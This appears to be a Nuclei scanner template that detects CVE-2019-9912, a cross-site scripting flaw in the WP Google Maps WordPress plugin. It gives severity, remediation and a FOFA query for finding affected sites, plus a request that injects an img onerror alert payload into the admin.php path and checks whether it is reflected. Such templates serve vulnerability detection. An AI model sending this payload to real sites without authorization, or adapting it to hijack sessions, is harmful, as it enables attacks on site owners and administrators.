id: CVE-2019-9912

info:
  name: WP Google Maps < 7.10.43 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The wp-google-maps plugin before 7.10.43 for WordPress has XSS via the wp-admin/admin.php PATH_INFO.
  impact: |
    Attackers can execute arbitrary scripts in the admin context, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to version 7.10.43 or later.
  reference:
    - https://lists.openwall.net/full-disclosure/2019/02/05/13
    - https://security-consulting.icu/blog/2019/02/wordpress-wpgooglemaps-xss/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9912
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-9912
    cwe-id: CWE-79
    epss-score: 0.03028
    epss-percentile: 0.85751
    cpe: cpe:2.3:a:wpgmaps:wp_go_maps:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/wp-content/plugins/wp-google-maps"
    vendor: codecabin
    product: wp_go_maps
  tags: cve,cve2019,wp,wp-plugin,wordpress,xss,wp-go-maps,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/wp-google-maps"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php/'\"><img src=x onerror=alert(document.domain)>?page=wp-google-maps-menu&action=foo"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><img src=x onerror=alert(document.domain)>"

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206d6463a4d66f2fb299c516438a16756d784c82bef42c55a78f44e0a18d0678160221009d4612d413637d768adbeff72e0775997fa0b764d69fc016e6f6a47b29c0f724:922c64590222798bb761d5b6d8e72950